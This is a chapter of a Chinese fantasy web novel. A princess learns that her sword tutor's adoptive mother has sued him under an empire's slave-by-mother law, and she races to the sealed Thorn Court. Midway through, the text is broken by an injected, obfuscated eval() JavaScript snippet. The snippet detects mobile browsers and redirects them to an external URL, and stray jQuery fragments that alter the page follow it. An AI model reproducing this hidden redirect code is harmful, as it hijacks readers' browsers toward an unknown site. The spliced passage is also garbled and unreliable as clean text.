25. 从母案

作品:《这种屎黄色的比格最有心机了

    转天早晨没人来给凄辞暮上课,她坐在空荡荡的训练场里,无聊地描摹阿草身上的花纹。阿草像只小狗王八,摊开四肢趴在地板上,被她烦得划动爪子往前爬。


    “今天是哪位老师的课?”


    “是付剑仙的课,殿下。”罗斯玛丽回答。


    付微尘和阿曼达交替上课,下午或晚上安排陪练进宫,以前从没迟到过。


    如果迟到的是阿曼达,凄辞暮能理解。提尔雷普家出了禁术事件,即使阿曼达和尼尔远在黄金城,没直接参与,他们也会受影响。


    尼尔昨天来找凄辞暮就是想寻求新的庇护者,只要公主殿下对尼尔流露出一丁点喜爱,肯定有贵族愿意帮助尼尔,全当对未来皇夫的投资。


    至于阿曼达,她受到的影响比尼尔大。尼尔大不了跑到小维度隐姓埋名,领着信托基金当个普通少爷,可她做不到。


    阿曼达作为提尔雷普家族全力捧出来的圣剑士,早早投身到政治中,她和提尔雷普无法切割。眼下的局面,她必须快速站队,找到在黄金城的新位置,否则提尔雷普一倒,她会被迅速清算。


    万丈高楼平地起,倒塌后轰然砸下,才不管你是圣剑士还是普通人。可以预见,阿曼达最好的结局是贬到远域维度做镇守,非女皇亲召不得踏出维度半步。


    但迟到的不是阿曼达,而是付微尘,凄辞暮很不安,付微尘不像会迟到的人。


    “老师是请假了吗?”


    “暂时没收到付剑仙请假的消息。”


    “联系任侠。”凄辞暮从女仆的托盘里端起茶杯一饮而尽。


    罗斯玛丽匆匆执行命令,凄辞暮心不在焉地练习拔刀斩。


    她始终摸不到二段拔刀的门槛,离“剑招”差得更远。付微尘最有名的两段招数叫生添寿与煎人寿,任侠勉勉强强给她演示过生添寿,至于煎人寿,任侠也不会。


    当时生添寿剑招一出,剑气带着罡风在地面深深犁出一道痕迹,用记忆金属建造的训练场竟然短时间无法恢复原貌。任侠的胳膊也无法恢复原貌,他对这招不熟,用一次扭一次。


    他被赶来的付微尘训斥一番,又敷伤药又进医疗舱泡营养液,折腾两个小时才治好。


    “联系上了吗?”凄辞暮催促。


    罗斯玛丽摇头,一个侍女小跑进来,说凄毓晓在宫外,想见公主殿下。


    凄辞暮有种不好的预感:“让晓晓进来。”


    晓晓身上穿着校服,像逃课赶来的。


    “不去上学吗,晓晓?”


    “谢谢殿下关心,我请假了。”晓晓偷瞄一圈训练场,没看见丹玛斯,她迅速说:“上学的路上,我听说一件事,特意来找殿下。”


    “什么事?”


    “昨天晚上,有对平民母子在中央大街席地而坐,逢人就问知不知道任侠在哪。”


    “是任侠的家人吗?”


    “是任侠的母亲和弟弟。”晓晓观察凄辞暮的神色,小心翼翼说,“他们今天早晨趁任侠出门,直接往荆棘法庭的方向去了。”


    “咚——”


    晓晓话音刚落,血誓钟的声浪贴着地面扩散至整个维度,托盘里的骨瓷镶金杯叮当作响,凄辞暮神色巨变。


    血誓钟矗立在荆棘法庭外,任何自认蒙受重大冤屈的人都可以用掌心抵住钟杵尖激活审查程序。掌心被钟杵穿透,血液顺着金色纹路流淌,被法阵吸收殆尽。


    自此,审查开启,历代皇室最高法院大法官的灵魂碎片被投射在法庭上空,通过他们的集体裁定才能正式立案。


    大法官们威严的声音回荡在所有人耳边:


    “涉案者无皇室血脉,予以立案。”


    “申诉者为自由民,予以立案。”


    “案件处于追诉期,予以立案。”


    “无禁术痕迹,予以立案。”


    ……


    最后,男男女女的声音交织在一起,异口同声说:


    “任巧妹诉任侠违反从母法案成立!”


    “啪!”女仆手里的托盘摔落,骨瓷镶金杯滚落一地。


    凄辞暮的心瞬间沉到谷底。


    从母法,奠定奴隶制的基石。母亲是奴隶,孩子必为奴隶,即使父亲贵为皇室也改变不了孩子的身份。


    但民间对从母法执行得不严格,官方也不去纠察,没有别的原因,只因纠察成本太高。女奴生的孩子被主人抱养走,是奴隶们的梦想,别人问起来,主人就说借助人造子宫生的,难道还能强行逼迫他们去做亲子鉴定吗?


    抱养行为大部分从婴儿时期开始,等孩子长大了,作为消耗品的奴隶生母也死了,真相永远被掩埋在血肉之下。


    前几天,立法司来找女皇,目的是完善从母法,女皇避之不谈,足以证明她的态度。


    大臣们私下对女皇的评价是“靖君”,靖的意思是没有变故或动乱,女皇最擅长的就是制衡之术,她用平民出身的能人制衡不断壮大的贵族队伍。


    从母法一旦完善,肯定有人“不小心”查出平民出身的大臣其实是奴隶,不是奴隶的也有办法变成奴隶,女皇之前的布局将被打乱。


    今天的案子怪异到极点,任侠的母亲任巧妹状告他违反从母法。如果证据确凿,任侠是奴隶,那么原告任巧妹必为帮犯,得不到任何好处。


    除非任巧妹根本不想要好处,她想要玉石俱焚。


    凄辞暮命令:“立刻去荆棘法庭。”


    她一把捞起阿草,带着罗斯玛丽匆匆向外走,正好撞上赶来的丹玛斯。


    丹玛斯恭敬问好,说出来的话却不动听:“殿下,请留步。付剑仙事务缠身,已为您找来代课老师,您身为皇储,应当以课业为重。”


    “让开,我要去荆棘法庭。”


    “琐碎的市井纠纷。”丹玛斯评价,“不值得您耗费宝贵的时间,向您介绍,这位是代课老师——”


    凄辞暮打断他:“这是你的意思还是我母皇的意思?”


    丹玛斯后退行礼:“是我身为内廷主管应尽的职责。”


    “你的提醒很到位,但我要出发了。”凄辞暮点头称赞,抱着阿草越过他,直接登上载具。


    丹玛斯保持右手扶胸一躬到底的姿势站在原地送她远去,凄辞暮清楚,等载具走出视线,丹玛斯转身就去告状。


    但她管不了这么多,她必须赶在荆棘法庭领域封闭前见任侠一面,告诉他事情不是没有回旋的余地。


    荆棘法庭是黄金帝国的皇家最高法院的核心审判场域,和黄金城一同建立,其管辖权覆盖帝国全境。据说开国皇帝用荆棘法庭审判过帝国将军和皇室成员。


    血誓钟也是开国皇帝设下的,近百年来钟声从未响过,血誓钟只活在口口相传的故事中。


    不是没有冤屈,而含冤者到不了黄金城。凄辞暮吩咐:“去查,任巧妹及其儿子怎么进的黄金城。”


    天空和地面全是密密麻麻的载具,空中的交通道被临时分割成五层。周围的载具看见皇室圣冠标志都选择避让,改造人侍卫飞行在两翼帮忙开路,但凄辞暮还是被堵在半道上。


    晓晓趴在窗边看:“全是去凑热闹的吗?”


    “对他们来说是热闹,对任家来说是两条人命。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059012|160626||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    任侠如果被判刑,肯定顶格按死刑判。他敢以奴隶之身在皇室任职,作为剑术教师助理陪公主上课,在某些人眼里死刑都便宜他,任巧妹作为帮犯也难逃一死。


    警署很快出动,迫降所有载具,凄辞暮自然被放行。


    “加快速度。”她命令道。


    在他们身后,敕令术士齐齐高举法杖:“追加法令——此地禁止升空!”


    金袍敕令军执行全维封锁!只有女皇能调动的军队!


    “殿下,冕下的口谕。”罗斯玛丽神色凝重,她手里捧着一块带圣冠印记的拟态黄金。


    凄辞暮单膝跪下,其余人在她身后跪成一片,女皇疲惫的声音在狭小的空间内响起:“庭审已经开始了,是我让开的,你只许看不许说话。”


    “谨遵您的指示。”凄辞暮面无表情地说。


    她想对任侠说的一腔话全被锁在喉咙里。


    任侠的从母案不是没有回旋的余地,急匆匆开庭连律师都来不及请,全靠任侠自己应对。


    首先,任侠的生母是名奴隶,十有八九已经死了,死后尸身一烧,骨灰当做医疗垃圾处理。她不是自由民,没有ID卡,更没有健康档案,也就没有确凿的DNA留存记录,不能和任侠做亲子鉴定。即使任巧妹留了她的毛发作为后手,也不能证明毛发必然是任侠生母的。


    其次,黄金城的进出极其严格,任巧妹一个平民用什么名目进来,是不是受人蛊惑栽赃养子,都值得打个问号。


    想到这里,凄辞暮问:“查到了吗,任巧妹怎么进来的?”


    罗斯玛丽从嘴里挤出来五个字:“付微尘邀请。”


    最坏的情况出现了,任侠连师父都瞒着,付微尘不知道他家的情况,邀请他的母亲和弟弟来黄金城玩,还以为是给他的惊喜。


    凄辞暮回忆起任侠提到家庭情况时闭口不言的样子,忍住叹息的冲动和不知道哪来的怒气。她的下颌崩得很紧,身体挺得很直,完全是阿草那天在宠物店中见到的公主姿态。


    凄辞暮冷静到冷漠的程度,她想:也不是没有好处,至少从侧面证明付微尘完全不知道任侠的家事,不会把付微尘牵连进从母案。


    接下来全靠任侠自己,和大法官的良心,凄辞暮回忆皇家最高法院的大法官高语,发现自己对她没有半点印象。


    “调取大法官高语的简历。”她立刻命令。


    高语,54岁,出身非想非非想维度……凄辞暮一目十行看完,松了口气。高语出身于著名的科技维度,印象里她对所有的派系持保留态度。只要高语不施压,庭审正常进行,任侠不至于想不到她刚刚思考的那些事。


    虽然任侠自称对为人处世一窍不通,但他绝对不是蠢人,蠢人无法考进万化仙宗成为付微尘的徒弟。


    凄辞暮的背肌肉眼可见地放松,她胡乱搓揉阿草的大耳朵,抬头向窗外看。


    宏伟的荆棘法庭就在她面前,千万条流动的金色荆棘如同尘世巨蟒,迅速向中心聚拢,荆棘法庭一旦开庭,庭审结果出来前都会保持完全封闭的状态,防止外界干预。


    凄辞暮缓缓从座位上站起身。


    隔着无数游动的金色荆棘,她在尖刺中看见一个熟悉的身影——穿戴全套板甲的阿曼达.提尔雷普。


    荆棘的缝隙越来越小,年轻的圣剑士似有所感,抬起头望向远方,仿佛在和公主遥遥对视。下一秒,荆棘完全合拢,形成一个表面光滑的金色球体。


    “请审判官、审判员入庭!”


    庭审正式开始了。


    愤怒顺着脊椎爬进凄辞暮的眼睛。